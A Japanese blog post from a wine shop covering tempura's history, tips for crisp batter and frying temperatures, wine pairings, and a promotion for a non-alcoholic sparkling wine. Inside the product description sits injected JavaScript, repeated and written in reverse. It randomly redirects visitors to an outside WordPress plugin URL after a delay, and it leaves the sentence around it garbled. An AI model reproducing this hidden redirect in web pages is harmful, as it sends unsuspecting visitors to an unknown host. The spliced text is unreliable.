ワインにも合う！美味しい天ぷらの作り方
季節の野菜やお魚を衣で包んでサックリと揚げた天ぷら。
お寿司やすき焼きと並んで、天ぷらは外国人観光客にも人気の高い高級和食の代表格ですよね。
和食と合わせるならやはり日本酒…となりそうですが、この天ぷら、実はワインととても相性が良いのです！
今回は、天ぷらの歴史、ご自宅での美味しい天ぷら作りのコツ、そして天ぷらとワインやノンアルコールワインとのマリアージュのポイントについて幅広くご紹介します！
◇実は南蛮渡来！天ぷらのルーツはヨーロッパにあった
水で溶いた小麦粉を具材に絡めて、油で揚げる天ぷら。
お米を食べる文化の日本の伝統料理のはずなのに小麦粉を使用する点や、
サッパリした調理法が多い和食の中で油で揚げるという点で、天ぷらはちょっと異質な感じがしませんか？
それもそのはず、実は、天ぷらのルーツはヨーロッパにあったのでです。
天ぷらのルーツとなる料理が日本にやってきたのは16世紀頃。この時代、日本にはスペインやポルトガルからの商人やカトリックの宣教師が来日し、それまでの日本にはなかったさまざまな品物や文化をもたらしました。
天ぷらはその時代に伝えられた「南蛮料理」の一つです。
ポルトガル語で、キリスト教徒の四季の斎日を意味する「テンポーラ」という言葉があります。
四季の斎日はキリスト教の行事の一つで、各季節の初めの週に、イエス・キリストの犠牲をしのんで節食し祈りを捧げることを言います。テンポーラの期間は肉食が禁じられるため、宣教師たちは、代わりに野菜や魚に小麦粉で衣をつけて揚げた揚げ物を食べていたそうです。
天ぷらという名前の起源は諸説ありますが、一説によると、テンポーラの期間に食べるこの揚げ物が宣教師によって伝えられ、テンポーラが転じて天ぷらになったと言われています。
ちなみに、日本に伝わった当初の天ぷらは、小麦粉、卵、砂糖、塩、酒を混ぜたフリッターのような衣を具につけてラードで揚げた味の濃いもので、今の天ぷらとは随分違うものでした。
また、この時代は油は大変高価な貴重品であったため、当時は天ぷらは庶民の口に入ることはありませんでした。
天ぷらが庶民に人気の食べ物になるのは、ずっと歴史が下ったあとの江戸時代中期頃です。
当時の江戸は人口100万人を超える世界有数の大都市だったといわれています。
そんなわけで、江戸には大工や職人などの仕事を求めて地方からやってくる若い男性が多く住んでいました。また、庶民が人々が住んでいた長屋にはそもそも本格的な台所の設備がなかったため、自宅で料理をしない人々が数多く住んでいたのです。そのため、江戸時代中期は屋台文化が花開く時期となりました。
当時の屋台フードの代表格は、蕎麦、握り寿司、うなぎ、そして天ぷら。
搾油技術の進歩により油の生産量が増えて安価に手に入るようになったこともあり、江戸前の魚を使って作られた天ぷらは江戸庶民の味として定着したのです。
ちなみに当時の天ぷらは、魚介類を串揚げのように串に刺し、分厚い衣をつけてゴマ油で揚げたもの。
それを、現在の串揚げのように、濃い出汁醤油のつゆにドボンと浸して食べていたそうで、けっして高級とは言えない食べ物でした。
そんな天ぷらが、今のような高級料理として発展し始めるのは江戸時代後期ごろ。
文化・文政の時代に、一流料亭で衣に卵を使った、金ぷら（衣に黄身を使用）や銀ぷら（衣に白身を使用）が出されるようになったことから、高級化が始まったようです。
これが、現在私たちが食べている薄い衣の天ぷらの直接のルーツと言えそうですね。
◇自宅でプロ級の天ぷらを作るコツは？
さて、おうちで天ぷらを作っても、お店で食べるような薄くてサクサクな衣にならない、からりと上がらない…、という悩みはありませんか？
板前さんが作るような天ぷらにならない理由はいくつかありますので、順番に見ていきましょう。
・サックリ衣の秘訣、ポイントはグルテン
まず気を付けなければならないのが、衣の作り方です。
天ぷらの衣は小麦粉を水や卵で溶いて作りますが、この時に、ぬるい水で混ぜすぎて練ってしまうと、小麦粉に含まれる「グルテニン」と「グリアジン」という2種類のたんぱく質がつながって「グルテン」に変化してしまします。
粘りと弾力のあるたんぱく質であるグルテンは、パンを作る際には、酵母が出す気泡を包み込んでパンが膨らむための重要な役目を果たします。
しかし、天ぷらの場合は、グルテンをたくさん含む衣はぼってりとしてしまい、サクサクとした食感になりません。
そこで、天ぷらの場合は、小麦粉を溶く際にグルテンをつなげないようにする工夫が必要。
まず、小麦粉がサッと溶けるよう、粉ふるいでしっかりふるっておきます。それから、小麦粉を溶く水は、冷たい氷水を使う事。冷水を使うとグルテンが生成されにくくなります。冷水に小麦粉を振り入れて、お箸で縦と横に十字を切るようにサックリと混ぜましょう。多少ダマが残ってもOKです。
また、水と小麦粉を混ぜてから経過時間がが長くなると、グルテンが生成されて衣が粘ってくるため、衣は揚げる直前に作ります。天ぷら鍋の熱で温まらないよう、衣や具は鍋から離して置きましょう。
・油はたっぷりと、また、具材の入れすぎはNG
天ぷらをサクッと揚げるには、温度が重要です。
一度にたくさん食材を入れてしまうと急激に油の温度が下がり、適温に戻るまでに時間がかかってしまうためカラリと揚がりません。なので、一度に揚げる食材の量は少な目にしましょう。
また、油の量が多い方が、温度が安定するためきれいに揚がります。揚げ鍋は直径は大きくなくてもよいので、深さのあるものを選びましょう。
また、それぞれの食材に応じた適温での調理も、天ぷらを美味しくするためのポイントです。
イモ類・レンコンなどじっくり火を通したい野菜や、山菜や大葉など色彩がポイントの野菜は150～160℃の低温で、通常の野菜やかき揚げは170～180℃の中温で、魚介や肉は固くならないよう短時間でサッと火を通したいため180～190℃の高温で揚げるのがおすすめです。
・具の水分はしっかりふき取ろう
具材が濡れた状態では、天ぷらに水分が残ってしまうため、サックリ揚がりにくくなります。衣をつける前に、キッチンペーパーなどで押さえてしっかり水分を取りましょう
・油はしっかり切ろう
揚がった天ぷらは、しっかり油を切りましょう。キッチンペーパーなどを敷いたバットに並べて、余分な油を紙に吸着させます。
お皿に盛りつける時も、紙を敷いておくと良いですね。
・サクッと揚げる裏技は、おなじみのあの食材！
また、サックリとした衣を作る裏ワザとして、なんと卵の代わりにマヨネーズを入れる方法があります。
もともとマヨネーズの原料は卵と酢、そして油。マヨネーズには卵と似た風味がありますが、水分量が卵より少なく、また、マヨネーズに含まれる油が衣の中で高温になることで衣の水分の蒸発を促してくれるので、カラリ＆サックリとした口当たりの衣になるのです。
実践しているファンも多いというこの方法、ぜひ試してみてくださいね。
・温め直しはオーブントースターがおすすめ
冷めてしまった天ぷらを温め直す時、揚げたてのようなサックリとした食感を楽しみたいなら、断然オーブントースターでの加熱がおすすめです。
この時に、霧吹きで天ぷら全体に軽く霧を吹いてからオーブントースターで加熱すると、よりサックリ仕上がりますよ！魚焼きグリルを使っても良いでしょう。
電子レンジは食感が損なわれてしまうのでおすすめしません。
◇天ぷらとワイン、マリアージュのポイントは？
さて最近では、ワインを取りそろえている和食のお店も増えていますが、天ぷらとワインの相性もなかなかのものです。
ここでは、天ぷらをより美味しく楽しむワインの選び方について解説します。
まず、カベルネソーヴィニョンのようなタンニンたっぷりでスパイシーな渋い赤ワインＮＧ！
このようなワインはステーキやグリル料理にはピッタリですが、繊細な素材そのものの美味しさを味わう料理には適しません。
天ぷらに合わせるなら、断然おすすめなのが白ワイン、そしてスパークリングワインです。
料理とワインを合わせるコツとして、味の傾向が似ている食材とワインを合わせる方法があります。
天ぷらの具材には、エビや白身魚のような魚介類が使われることが多いですが、ミネラルを感じる素材を使った天ぷらには、同じくミネラル感がしっかりと感じられる白ワインがおすすめです。
そして、天ぷらを塩とレモン食べる場合は、ミネラル感に加えて、レモンのようなきりっとした酸味のあるワインを選ぶとさらに良いでしょう。
また、ワインに甘みが強いと、天ぷらの繊細な味わいをかき消してしまうため、甘みの少ないワインの方が良いです。同様に、華やかなバニラやオークの樽香のあるワインも、繊細な味わいの天ぷらにはあまり合わないので避けましょう。
ミネラルとしっかりした酸がある辛口ということで、辛口のリースリングや、樽熟成をさせないタイプのシャブリ、ミュスカデなどがよく天ぷらに合いそうです。
また、天ぷらのカリカリとした衣の食感は、プチプチはじけるスパークリングワインの泡ととても好相性です。それだけでなく、炭酸の泡には口の中の油をすっきりとさせてくれる作用もあります。
天ぷらにはぜひ、シャンパーニュなど酸味の効いた辛口タイプのスパークリングワインを合わせてくださいね！
そして、天ぷらは天つゆで食べたい派の人におすすめしたいのがロゼワインや軽やかな赤ワインのピノノワール。
天つゆで食べる場合は、塩で食べる時より、出汁やお醤油による味の深みや、みりんの甘みが加わりますが、ロゼやピノノワールなら天つゆの味わいもしっかりと受け止めてくれます。
ロゼワインは辛口を、ピノノワールなら、色の淡いミディアムタイプのものを選ぶと、天ぷらとの良い相性を楽しめるでしょう。
◇天ぷらにピッタリのノンアルコールワインはこれだ！
当店のノンアルコールワインを天ぷらに合わせる場合は、断然スパークリングがおすすめです。
特におすすめなのは、新発売のデュク・ドゥ・モンターニュ ブリュット。
デュク・ドゥ・モンターニュ ブリュットは、よりドライな口当たりのノンアルコール・ワインがほしいという皆様の声に応えて、製造メーカーのネオブュル社とMELLOW stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toreが共同開発した辛口ノンアルコール・スパークリングワインです。
青リンゴとレモンを思わせる爽やかな果実味に、しっかりとした酸味。キリッとした口当たりに、爽やかなはじける炭酸。
天ぷらのような和食に合わせてもしっかりマリアージュする、辛口タイプのノンアルコール・スパークリングワインです。
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